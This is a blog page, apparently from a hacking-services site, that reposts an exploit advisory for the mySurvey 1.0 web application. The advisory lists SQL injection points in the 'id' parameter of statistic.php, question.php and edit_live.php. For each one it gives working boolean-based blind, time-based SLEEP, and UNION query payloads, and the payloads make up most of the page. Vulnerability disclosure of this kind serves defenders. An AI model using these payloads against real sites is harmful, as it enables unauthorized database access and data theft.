Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86395823

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: mySurvey 1.0 - 'statistic.php' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysurvey/6794645
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : You can see the notifications on the left side when you
receive new answers.
This url works in 'statistic.php' with 'id' parameter. This 'id' parameter
is vulnerable.
====================================================

# PoC : SQLi :

http://test.com/mySurvey/statistic.php?id=[SQLi]

Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=31 AND 5291=5291

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=31 AND SLEEP(5)

# /question.php Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2 AND 2740=2740

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=2 UNION ALL SELECT
NULL,NULL,CONCAT(0x716a787171,0x756d496841646d646a62785a6b7651775a4946456a465142654251536d4b4952646a58564e736166,0x716a627a71),NULL,NULL--
SggH


# /edit_live.php Parameter: id (GET)

    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: id=(SELECT (CASE WHEN (4199=4199) THEN 4199 ELSE 4199*(SELECT
4199 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-6620 UNION ALL SELECT
CONCAT(0x716a6b6b71,0x706169774d7955627455656966494d4a78775a6d6e63504f7342426d5266497556767a57636e636e,0x7170786a71),NULL,NULL--
tDPV



# /statistic.php Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=31 AND 5291=5291

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=31 AND SLEEP(5)


====================================================